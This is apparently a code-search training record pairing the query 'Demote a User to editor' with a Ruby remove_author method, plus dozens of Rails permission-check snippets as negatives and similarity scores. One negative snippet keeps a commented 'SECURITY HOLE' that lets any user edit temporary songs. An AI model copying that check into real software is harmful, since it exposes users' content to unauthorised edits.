scope && scope[:user_id] && object.user_id == scope[:user_id]\n return true\n else\n return false\n end\n end", "def user?\n is_a?(Merit::User)\n end", "def editor?\n logger.warn(\"editor? has been deprecated. Use can? instead\")\n can? :edit, @permissions_solr_document\n end", "def can_remove_record_editor?(user)\n depositor != user.user_key && record_editors.include?(user.person)\n end", "def site_editor?\n admin? || maintainer? || replies_count >= 100\n end", "def user?\n get_mode == :user\n end", "def user_can_edit?\n current_user == @list.user\n end", "def can_edit?\n object.editable_by?(current_user)\n end", "def can_edit?(obj)\n return true if obj.user_id == user_id || is_admin?\n false\n end", "def editable_by?(user)\n if self.status == :private\n self.user == user || self.featurings.map(&:user).include?(user)\n elsif status == :temporary\n true # XXX FIXME SECURITY HOLE RIGHT HERE: ANY USER CAN MODIFY TEMP SONGS FIXME\n elsif status == :public\n false\n end\n end", "def can_edit?(user)\n user.nil? ? false : self.admins.include?(user.email)\n end", "def editable_by_user?\n %w(new paid).include?(self.state)\n end", "def editor! doc\n if doc.default_level == \"owner\" or doc.default_level == \"editor\"\n return\n else\n perm = doc.permissions(user: current_user)\n if perm.length > 0 && (perm[0].level == \"owner\" or perm[0].level == \"editor\")\n return\n end\n end\n halt 403\n end", "def can_edit?(someone)\n owner_id.to_s == someone.id.to_s\n end", "def can_edit_user?(user)\n if self.has_role?('superuser')\n return true\n elsif !self.has_role?('admin')\n return false\n end\n return !(user.has_role?('superuser') || user.has_role?('admin'))\n end", "def is_content_creator?\n\t\treturn self.usertype == \"content_creator\"\n\tend", "def editable_by? editor=nil\n\t\treturn true if((editor)&&(self.school.editable_by? editor))\n\tend", "def readable_by? user\n true\n end", "def in_editor?\n ENV.has_key?('TM_MODE') || ENV.has_key?('EMACS') || ENV.has_key?('VIM')\nend", "def current_editor\n @current_editor = User.find_by_id(locked_by)\n return _('unknown') if @current_editor.nil?\n @current_editor.name\n end", "def can_read_content?(user)\n released_for_student?(user) || can_edit?(user)\n end", "def managed_by? a_user\n owned_by? a_user || program.moderator == a_user\n end", "def mayView? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYVIEW ) or ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYVIEW ) or ( special == Dfile::PP_MAYEDIT ) )\n return true\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has special permission but not right one\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has no special permission\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n \n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"no special permissions\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n return false\n end", "def can_be_edited_by?(editor, tier=nil)\n self.editable? && (editor == self.person || Reputation::Threshold.valid?(:edit_post, editor, :tier => tier))\n end", "def readable?(_user)\n true\n end", "def editing?\n @mode == :edit\n end", "def edit?\n @blog.user == current_user\n end", "def preview_only?(user)\n !listed && !author?(user)\n end", "def current_editor\n @current_editor || creator\n end", "def owner? (user)\n user == owner\n end", "def viewable_by?(actor)\n actor.is_a?(User)\n end", "def deletable_by?(user)\n user.has_role?(:editor) || user.has_role?(:admin)\n end", "def can_edit(cp)\n cps_as_editor.include?(cp)\n end", "def can_edit(user)\n\t\tif user\n\t\t\tcan_edit = user.courses.include?(self)\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def authenticate_editor!\n redirect_to root_path unless user_signed_in? && current_user.is_editor? \n end", "def owned_by? a_user\n a_user == program.moderator\n end", "def authorized_to_edit?(post)\n post.user == current_user\n end", "def authorized_to_edit?(post)\n post.user == current_user\n end", "def can_edit?\n head(:forbidden) unless current_user.review_space_admin? || @space.editable_by?(current_user)\n end", "def can_edit?(user)\n course.can_edit? user\n end" ]
[ "0.84314317", "0.8376149", "0.82757425", "0.8126538", "0.7926827", "0.7918434", "0.7855206", "0.7744756", "0.77002305", "0.7697662", "0.7608588", "0.7578496", "0.7545994", "0.75184685", "0.74401253", "0.7428089", "0.73473215", "0.73250145", "0.7292475", "0.72890776", "0.7263733", "0.72617114", "0.72410494", "0.72410494", "0.72410494", "0.72389084", "0.7235785", "0.7219673", "0.7211845", "0.7203415", "0.7162047", "0.7160444", "0.7117724", "0.7114922", "0.7084026", "0.70766765", "0.70648026", "0.7038496", "0.7027895", "0.7027641", "0.7007144", "0.6966449", "0.6940322", "0.6938613", "0.6930943", "0.69293875", "0.68744004", "0.68716615", "0.68644017", "0.68644017", "0.6850335", "0.68463284", "0.6833494", "0.68220943", "0.68220943", "0.68220943", "0.68082124", "0.68051463", "0.6767405", "0.67493165", "0.67493165", "0.67362696", "0.6735641", "0.67340565", "0.6721801", "0.6721157", "0.6706101", "0.6705481", "0.6699351", "0.66764814", "0.66618013", "0.66598254", "0.6659336", "0.66441697", "0.6622581", "0.6613304", "0.6586958", "0.65804315", "0.6547897", "0.6520992", "0.65200466", "0.65168786", "0.64949733", "0.6488583", "0.64853674", "0.64827156", "0.6471577", "0.6464322", "0.64579886", "0.64416987", "0.6435052", "0.6416294", "0.64028543", "0.63959366", "0.6395692", "0.6395031", "0.63942945", "0.63942945", "0.6386754", "0.6386555" ]
0.90980387
0
Add a User on as an "author". Saves User if changed. Returns nothing.
def add_author(user) return if authors.member?(user) authors.push(user) SiteData.update_contribution(:add, authors_join_table, user.id) return unless editors.member?(user) editors.delete(user) SiteData.update_contribution(:del, editors_join_table, user.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_author\n add_author_editor \"author\"\n end", "def add_author_or_editor\n return unless !@save_without_our_callbacks && (user = User.current)\n\n authors.empty? && author_worthy? ? add_author(user) : add_editor(user)\n end", "def set_author\n @author = User.find(params[:id])\n end", "def author\n @author ||= User.find_by_id(author_id)\n end", "def add_post(post)\n post.author = self\n end", "def add_post(post)\n post.author = self\n end", "def add_post(post)\n post.author = self\n end", "def add_post(post)\n post.author = self \n end", "def author; User.get(self.author_id); end", "def author\n user || OpenStruct.new({\n :nicename => external_author_name,\n :email => \"%s@%s\" % [external_author_id, Doers::Config.app_id]\n })\n end", "def author\n if user_id\n @author ||= Author.new(instance, user_id)\n else\n nil\n end\n end", "def add_author(name, email = nil)\n @authors << {:name => name, :email => email}\n end", "def user_to_atom_author(user, atom)\n author = atom.authors.new\n author.name = user.full_name\n author.email = user.email\n author.uri = user_url(user.name)\n end", "def author\n @author ||= User.find_by_id(author_id) unless author_id.nil?\n end", "def author\n url = @json['user']['meta']['author']\n data = client.get url\n client.factory.create(GoodData::Membership, data)\n end", "def set_author(new_author)\r\n @author = new_author\r\n return self\r\n end", "def set_author_id\n if self.author_id.blank?\n self.author_id = self.user_id\n end\n end", "def set_author_id\n if self.author_id.blank?\n self.author_id = self.user_id\n end\n end", "def author\n UserWrapper.new(@target.user, view_context)\n end", "def add_author(name)\n aux = name.split\n autor = Author.new(aux[1..-1].join(\" \"),aux[0][0].capitalize)\n @Author << autor \n end", "def author\n User.find_by_id(@user_id)\n end", "def get_author\n \tUser.find(author_id)\n \tend", "def author_exuid=(exuid)\n self.author = User.with_param(exuid).first\n end", "def author\n @author ||= begin\n UnfuddleAPI::People.find(self[:author_id]).username\n rescue\n ''\n end\n end", "def author\n User.find(self.user_id)\n end", "def set_author\n @author = apply_scopes(Author).find(params[:id]) rescue nil\n end", "def author\n @author ||= get_author\n end", "def author\n user\n end", "def author\n @author_data ||= read(\"/user/#{@author}/about.json\", :handler => \"User\")\n end", "def set_author\n @creator = Creator.find(params[:id])\n end", "def author\n User.find_by_id(users_id)\n end", "def add_user(organization, user)\n organization.add_user user\n end", "def check_author\n if self.author.blank?\n self.author = 'anon'\n end\n end", "def author_name=(author_name)\n self.author = Author.find_or_create_by(name: author_name)\n end", "def add_post(post)\n @posts << post #pushes post into post array so that we can compare the author with that author\n post.author = self\nend", "def set_author\n author_reference.reference = \"Patient/#{user.icn}\"\n end", "def commit_author(snippet)\n return migration_bot_user if snippet_content_size_over_limit?(snippet)\n return migration_bot_user if @invalid_signature_error\n\n if Gitlab::UserAccessSnippet.new(snippet.author, snippet: snippet).can_do_action?(:update_snippet)\n snippet.author\n else\n migration_bot_user\n end\n end", "def author\n \"#{user.name} (#{user.login})\"\n end", "def remove_author(user)\n return unless authors.member?(user)\n\n authors.delete(user)\n SiteData.update_contribution(:del, authors_join_table, user.id)\n\n return unless !editors.member?(user) && user_made_a_change?(user)\n\n editors.push(user)\n SiteData.update_contribution(:add, editors_join_table, user.id)\n end", "def set_author\n @author = Author.includes(:circulations).where(:admin_id => @current_user.id, :id => params[:id]).first\n end", "def author\n @author ||= begin\n name = grit.config['user.name']\n email = grit.config['user.email']\n Grit::Actor.new(name, email)\n end\n end", "def setAuthor(author)\n @fields['author'] = author\n self\n end", "def setAuthor(author)\n @fields['author'] = author\n self\n end", "def setAuthor(author)\n @fields['author'] = author\n self\n end", "def setAuthor(author)\n @fields['author'] = author\n self\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def author\n User.find_by_id(self.author_id)\n end", "def author=(author)\n @author = author\n end", "def author\n response = read(\"/user/#{@author}/about.json\", :handler => \"User\") if @author\n @author_data ||= response[0] if response\n end", "def add_post(post)\n @posts << post\n post.author = self\n end", "def author=(o)\n self.authors = [o]\n end", "def add_editor(user)\n return unless !authors.member?(user) && !editors.member?(user)\n\n editors.push(user)\n SiteData.update_contribution(:add, editors_join_table, user.id)\n end", "def set_author(name, email=nil)\n self.actor = name ? Grit::Actor.new(name, (email ? email : '')) : nil\n end", "def user(*args)\n @users << User.add(*args)\n end", "def corresponding_author=(user)\n contribution = self.corresponding_author_contribution || Contribution.new(:role_id => 1)\n contribution.user_id = user.id\n contribution.save(false)\n self.corresponding_author \n end", "def add_author( solr_doc, author_number, authors )\n\n role = solr_doc.at_path( \"mods_0_name_#{author_number}_role_0_text_t[0]\" )\n if role && role.include?( 'author' )\n cid = solr_doc.at_path( \"mods_0_name_#{author_number}_computing_id_t[0]\" )\n fn = solr_doc.at_path( \"mods_0_name_#{author_number}_first_name_t[0]\" )\n ln = solr_doc.at_path( \"mods_0_name_#{author_number}_last_name_t[0]\" )\n dept = solr_doc.at_path( \"mods_0_name_#{author_number}_description_t[0]\" )\n ins = solr_doc.at_path( \"mods_0_name_#{author_number}_institution_t[0]\" )\n\n return add_person( authors, author_number, cid, fn, ln, dept, ins )\n end\n\n # could not find the next author, we are done\n return false, authors\n end", "def author\n @author ||= Person.new(connection, @attributes[:author])\n end", "def author=(new_author = nil)\n @info[:Author] = new_author\n end", "def create\n @author = Author.new(author_params)\n\n if @author.save\n redirect_to admin_author_path @author\n else\n render action: \"new\"\n end\n end", "def author_login=(name)\r\n self.user = User.find_by_login(name)\r\n end", "def author?(user)\n user && author.id == user.id\n end", "def set_author_name\n # Handles toggling between fake and real names (at edit)\n if anonymouse_changed?\n if self.anonymouse?\n self.author_name = Faker::Name.name\n else\n self.author_name = self.user.name\n end\n end\n # Handles\n if !self.anonymouse?\n self.author_name = self.user.name\n end\n end", "def author\n #Este self.object hace referencia al object que se esta serializando\n user = self.object.user\n {\n name: user.name,\n email: user.email,\n id: user.id\n }\n end", "def author\n @author ||= Author.new @instance, author_id\n end", "def set_author\n @author = Author.friendly.find(params[:id])\n end", "def author\n object.user\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_creator(c)\n if self.creator_id \n remove_user_by_id(self.creator_id)\n end \n self.creator_id = c.id\n if self.save\n add_additional_user(c) \n true\n else\n false\n end \n end", "def add_user(user)\n self.users.create(id: user.id)\n end", "def author=(author)\n\t \t@author = author #tells post its author name\n\t \tif !@author.posts.include?(self)\n\t \t\t@author.posts << self # add post to author collection if not already\n\t \tend\n\t end", "def author(name, email)\n @commit_author = Grit::Actor.new(name, email)\n end", "def author\n authors = QuestionsDBConnection.instance.execute(<<-SQL, self.author_id)\n SELECT fname, lname FROM user\n WHERE id = ?\n SQL\n\n return nil if authors.length < 0\n\n \n authors.map{|author| UserModel.new(author)}\n \n end", "def subscribe_author\n self.subscriptions.create user_id: self.user.id\n end", "def update\n if @author.update(author_params)\n render :show, status: :ok, location: api_v1_author_url(@author)\n else\n render json: { error: @author.errors }, status: :unprocessable_entity\n end\n end", "def is_user_potential_author?(user, author)\n\n is_user_not_already_author = self.authors.all? { user.author != author }\n\n user_author_name = \"#{user.last_name}\"\n matching_names = author.name.include?(user_author_name)\n\n matching_names && is_user_not_already_author\n end", "def set_author\r\n @author = Author.find(params[:id])\r\n end", "def author\n @author ||=\n convert_content(item_attributes!.author) ||\n convert_content(item_attributes!.creator) ||\n \"\"\n end", "def set_author\n @author = Author.friendly.find(params[:author_name])\n end", "def get_author\n @image.user = current_user\n end", "def autosave_associated_records_for_author\n # Find or create the author by name\n if existing_author = Author.where(:last_name => author.last_name, :first_name => author.first_name, :middle_initial => author.middle_initial).first\n self.author = existing_author\n else\n tmp = Author.new\n tmp.last_name = author.last_name\n tmp.first_name = author.first_name\n tmp.middle_initial = author.middle_initial\n self.author = tmp\n self.author.save!\n self.author_id = self.author.id\n end\n end", "def ensure_author_orcid\n return if @resource.owner_author # the owner is already represented by an author with their orcid\n\n user = @resource.user\n\n this_author = @resource.authors.where(author_first_name: user.first_name, author_last_name: user.last_name).first\n\n if this_author.present?\n this_author.update(author_orcid: user.orcid)\n return\n end\n\n StashEngine::Author.create(\n author_first_name: user.first_name,\n author_last_name: user.last_name,\n author_orcid: user.orcid,\n author_email: user.email,\n resource_id: @resource.id\n )\n end", "def new\n @article = Article.new\n @user = User.find(current_user.id)\n if !@user.author\n author = @user.build_author\n author.pseudo_last = @user.last_name\n author.pseudo_first = @user.first_name\n author.save\n end\n end", "def author?(user)\n self.user == user\n end", "def author=(author) #setter\n @author = author\n end", "def add_user(user)\n @users << user\n end", "def author=(new_author)\n if new_author.respond_to?(:name) &&\n new_author.respond_to?(:email) &&\n new_author.respond_to?(:url)\n # It's a complete author object, just set it.\n @author = new_author\n else\n # We're not looking at an author object, this is probably a string,\n # default to setting the author's name.\n if @author.nil?\n @author = FeedTools::Author.new\n end\n @author.name = new_author\n end\n end", "def author\n @author ||= AuthorDrop.new(:page => page, :site => site)\n end" ]
[ "0.74157155", "0.7114053", "0.68789184", "0.6757846", "0.6700198", "0.6700198", "0.6700198", "0.6652552", "0.65635043", "0.65498966", "0.65464115", "0.65287846", "0.65051913", "0.6502722", "0.650102", "0.64896494", "0.64849484", "0.64849484", "0.6482096", "0.63033175", "0.6262442", "0.62546235", "0.6232724", "0.62211984", "0.6216225", "0.62124914", "0.6205866", "0.6205803", "0.6204112", "0.6194806", "0.6174022", "0.6158363", "0.6155405", "0.61526346", "0.61525923", "0.61404127", "0.61336654", "0.61330384", "0.6124246", "0.61138237", "0.610579", "0.60952634", "0.60952634", "0.60952634", "0.60952634", "0.6084048", "0.60827464", "0.60802174", "0.607819", "0.6064448", "0.6058875", "0.6052263", "0.6050346", "0.6020493", "0.6015792", "0.60105824", "0.60073984", "0.6005792", "0.60019517", "0.59965295", "0.59954095", "0.5994275", "0.5993526", "0.5992486", "0.5990495", "0.59884053", "0.5986648", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.5983898", "0.59811413", "0.59800214", "0.5976159", "0.59606665", "0.59589803", "0.5943754", "0.5942538", "0.59343725", "0.592", "0.5918408", "0.58986866", "0.58978057", "0.5890893", "0.58841926", "0.588062", "0.58718234", "0.58697546", "0.58686036", "0.5861176", "0.5856104" ]
0.7802577
0
Demote a User to "editor". Saves User if changed. Returns nothing.
def remove_author(user) return unless authors.member?(user) authors.delete(user) SiteData.update_contribution(:del, authors_join_table, user.id) return unless !editors.member?(user) && user_made_a_change?(user) editors.push(user) SiteData.update_contribution(:add, editors_join_table, user.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assign_editor(user_id)\n add_user(user_id, true)\n end", "def assign_editor(user_id)\n\t\tadd_user(user_id, true)\n\tend", "def demote\n user = User.find(params[:id])\n\n redirect_to root_path if current_user.uid == user.uid\n\n return unless current_user.user_role.can_promote_demote && (user.user_role.name == 'Officer')\n\n user.user_role = UserRole.find_by(name: 'User')\n user.save\n\n redirect_to user_path(user)\n end", "def edit_user(edited_user)\n user = User.find(edited_user.email)\n user.attributes = edited_user.attributes\n user.save!\n end", "def update_user_if_save_version\n self.user = User.current if save_version?\n end", "def set_user!(user)\n\t\tself.user_id = user.id\n\t\tself.save!\n\tend", "def find_depositor(user_key)\n user = ::User.find_by_user_key(user_key) if user_key\n user ||= ::User.find(user_key) if user_key\n user ||= ::User.find_or_create_system_user(DEFAULT_CREATOR_KEY)\n self.depositor = user\n end", "def user=(user)\n also_save = self.persisted? && !self.changed?\n self.user_uid = user.uid\n @_user = user\n self.save if also_save\n end", "def edit\n set_user\n end", "def update_user\n end", "def user=(value)\n @user = value\n end", "def user=(value)\n @user = value\n end", "def edit_user\n if (@user = find_user(params[:id]))\n @all_roles = Role.find_all.select { |r| r.name != UserEngine.config(:guest_role_name) }\n case request.method\n when :get\n when :post\n @user.attributes = params[:user].delete_if { |k,v| not LoginEngine.config(:changeable_fields).include?(k) }\n if @user.save\n flash.now[:notice] = \"Details for user '#{@user.login}' have been updated\"\n else\n flash.now[:warning] = \"Details could not be updated!\"\n end\n end\n else\n redirect_back_or_default :action => 'list'\n end\n end", "def deactivate!(user)\n return false unless self.active?\n\n @user = user\n\n remove_hook!\n\n self.active = false\n self.save!\n end", "def user=(user)\n @user = user\n @twitter_user = nil\n load_words\n end", "def user=(user)\n check_user(user)\n set_user(user)\n # returns user\n end", "def depositor\n ::User.where(email: document.depositor).first\n end", "def set_user\n @telemarketer = User.find(params[:id])\n end", "def deactivate_user(user_id)\n post(\"/users/#{user_id}/deactivate\")\n end", "def edit\n reset_session_key(:user, @user_id, {})\n redirect_to wizard_path('identity')\n end", "def edit\n @user = @current_user\n end", "def admin_reactivate\n user = User.find(params[:id])\n authorize! :edit, @user #prevent other users from disabling OTP on another user.\n user.deactivated = false\n user.save!\n flash[:notice] = \"Successfully Reactivated user.\"\n redirect_back(fallback_location: '/')\n end", "def edit\n # @user is already set by correct_user\n # @user = User.find(params[:id])\n end", "def diff(user)\n GoodData::User.diff(self, user)\n end", "def edit\n @user = User.find(params[:id])\n # @user は編集対象のユーザー\n # current_user はログインしているユーザー \n\n end", "def store_user(user)\n raise NotImplemented\n end", "def store_user(user)\n raise NotImplemented\n end", "def store_user(user)\n raise NotImplemented\n end", "def update_user(options)\n patch(\"/user\", options, 3)\n end", "def edit\r\n \t@user = current_user\r\n end", "def set_last_user\n @user = User.last\n end", "def edit\n @user = current_user\n end", "def show\n a = @article.editor\n @editor = User.find(a)\n end", "def owner=(user)\n de = document_editor_owner\n if de\n return user if de == user\n de.set_owner(false)\n end\n\n de = document_editors.find_by(user_id: user.id)\n if de.nil?\n self.editors << user\n de = document_editors.find_by(user_id: user.id)\n end\n de.set_owner(true)\n end", "def make_dick_editor_of_addtional_name\n name = names(:boletus_edulis)\n name.user = users(:rolf)\n name.save\n end", "def edit\n \t@user = current_user\n end", "def profile_edit\n @user = User.find(current_user.id)\n end", "def user=(user)\n self.update_attributes(:user_id => user.id)\n end", "def set_user\n @user = User.unscoped.find(params[:id])\n end", "def edit\n @user = User.find(session[:user_id])\n end", "def update\n load_user\n build_user\n respond_to do |format|\n if user.save\n format.html { redirect_to user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @ser }\n else\n format.html { render :edit }\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tif current_user.is_admin\n\t\t\t@user = User.find(params[:id])\n\t\telse\n\t\t\t@user = current_user\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\t\n\t\t\tif @user.update_attributes(params[:user])\n\t\t\t\tif(!params[:remote])\n\t\t\t\t\tformat.html { redirect_to(@user, :notice => 'Utente aggiornato con successo') }\n\t\t\t\t\tformat.xml { head :ok }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :text => params[:user].values[0].to_s}\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif(!params[:remote])\n\t\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\t\tformat.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :text => \"Il valore inserito non e' valido\"}\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def set_user\n @user = User.find(user_id)\n end", "def save\n REDIS.set @user.delete(:key), @user.to_json\n @user # NOTE: SET can't fail (http://redis.io/commands/set)\n end", "def make_admin\n @user = User.find(params[:user_id])\n @user.admin = !@user.admin\n @user.save\n redirect_to users_path\n end", "def edit_admin\n user = User.find(params[:id])\n if user.is_admin?\n user.is_admin = false\n else\n user.is_admin = true\n end\n user.save!\n respond_to do |format|\n format.js {\n render :update do |page|\n page[\"user_#{user.id}\"].replace_html :partial => 'user', :locals => { :user => user }\n page[\"user_#{user.id}\"].visual_effect :highlight\n end\n }\n end\n end", "def edit\n\t\t@user = User.find(params[:id])\n\tend", "def edit\n\t\t@user = User.find(params[:id])\n\tend", "def edit\n\t\t@user = User.find(params[:id])\n\tend", "def edit\n\t\t@user = User.find(params[:id])\n\tend", "def user=(usr)\n raise 'You must pass a User class' unless usr.is_a?(User)\n @user = usr\n end", "def upgrade\n if user_signed_in? && self.current_user.admin_flag == 1\n user = User.find(params[:id])\n user.upgrade(params[:editor_flag])\n redirect_to(:controller => '/members', :action => 'profile', :id=>params[:id])\n end\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n @user = current_user\n end", "def edit\n # @user = User.find(params[:id])\n # already in correct_user\n end", "def get_user\r\n \tself.user = update_user\r\n end", "def user_assign(value)\n forget_value('user')\n assign value, 'user'\n end", "def update\n @user = User.find(params[:id])\n @user.admin = params[:user].delete(:admin)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n else\n format.html { render :edit }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def switch_corrector\n @user = User.find(params[:user_id])\n if !@user.admin?\n if !@user.corrector\n flash[:success] = \"Utilisateur ajouté aux correcteurs.\"\n else\n flash[:success] = \"Utilisateur retiré des correcteurs.\"\n end\n @user.toggle!(:corrector)\n end\n redirect_to @user\n end", "def edit\n get_user_for_edit\n end", "def create\n @user = User.new(params[:user])\n @user.admin = params[:user].delete(:admin)\n respond_to do |format|\n if (@user.confirmed_at = Time.now) && @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to admin_users_path(:anchor => dom_id(@user)) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :new }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def user_edits\n redirect_to home_path if current_user != User.find(params[:id])\n end", "def user=(user)\n session[:user] = nil && return if user.nil?\n session[:user] = store_user(user)\n @user = session[:user] ? user : session[:user] \n end", "def user=(user)\n session[:user] = nil && return if user.nil?\n session[:user] = store_user(user)\n @user = session[:user] ? user : session[:user] \n end", "def user=(user)\n session[:user] = nil && return if user.nil?\n session[:user] = store_user(user)\n @user = session[:user] ? user : session[:user] \n end", "def get_last_editor\n User.find_by_id(last_editor_id)\n end", "def edit\n # @user = User.find(params[:id]) -- not needed bc of correct_user\n end", "def user_assign(value)\n forget_value(\"user\")\n assign(value,\"user\")\n end", "def edit\n # loads user from the database\n @user = User.find(params[:id])\n end", "def user_assign(value)\n forget_value(\"user\")\n assign value,\"user\"\n end", "def set_user\n @user = User.find(params[:user_id]) unless params[:user_id].blank?\n @user ||= current_user\n\n authorize(@user, :user_donations?)\n @user = @user.decorate\n end", "def unlink_user\n user and update(email: user.email, user_id: nil)\n end", "def set_user; end", "def save(user)\n raise UnsupportedOperationException.new\n end", "def correct_user\n unless @user == current_user\n redirect_to user_notes_path(current_user)\n end\n end", "def edit_change_password\n @user = current_user\n end", "def edit_account\n @user = User.find(current_user.id)\n end", "def edit_profile\n \t@user = current_user\n end", "def user(value = nil)\n value ? @user = value : @user\n end", "def sync_user_logins(user)\n canvas_user = find_user(user.email)\n if canvas_user.nil?\n create_user(user)\n else\n user.canvas_user_id = canvas_user['id']\n end\n\n user\n end", "def can_remove_record_editor?(user)\n depositor != user.user_key && record_editors.include?(user.person)\n end", "def remove(opts)\n user = fetch(opts)\n if user\n @data = @data.reject { |u| u == user }\n persist\n end\n user\n end", "def user=(user)\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname) {\"user=user=#{user}\"}\n\t\t@user=user\n\t#def_user(user)\n\tend", "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end", "def reset_user\n user_id = params.require(:user_id)\n\n user = User.find_by(id: user_id)\n raise Discourse::NotFound if user.blank?\n\n guardian.ensure_can_edit!(user)\n\n if params[:everything] == 'true'\n TopicAllowedUser\n .joins(topic: :_custom_fields)\n .where(topic_custom_fields: { name: DiscourseEncrypt::TITLE_CUSTOM_FIELD })\n .where(topic_allowed_users: { user_id: user.id })\n .delete_all\n\n PluginStoreRow\n .where(plugin_name: 'discourse-encrypt')\n .where(\"key LIKE 'key_%_' || ?\", user.id)\n .delete_all\n end\n\n # Delete encryption keys.\n user.custom_fields.delete(DiscourseEncrypt::PUBLIC_CUSTOM_FIELD)\n user.custom_fields.delete(DiscourseEncrypt::PRIVATE_CUSTOM_FIELD)\n user.save_custom_fields\n\n render json: success_json\n end", "def update\n @user = User.find(params[:id])\n if current_user.admin\n @user.assign_attributes(params[:user], :without_protection => true)\n else\n @user.assign_attributes(params[:user])\n end\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def promote\n user = User.find(params[:id])\n\n return unless current_user.user_role.can_promote_demote\n\n if user.user_role.name == 'User'\n user.user_role = UserRole.find_by(name: 'Officer')\n user.save\n redirect_to user_path(user)\n return\n end\n\n return unless user.user_role.name == 'Officer'\n\n user.user_role = UserRole.find_by(name: 'President')\n user.save\n current_user.user_role = UserRole.find_by(name: 'User')\n current_user.save\n redirect_to user_path(user)\n end", "def edit\n @user =current_user\nend", "def nullify!(user=nil)\n self.update_attribute(:body, nil) if self.editable_by?(user)\n end", "def change\n @user = current_user\n end", "def edit\n\t\t@user = User.find(params(:id))\n\tend", "def update\n @user.attributes = params[:user]\n\n respond_to do |format|\n if @user.save_without_session_maintenance\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end" ]
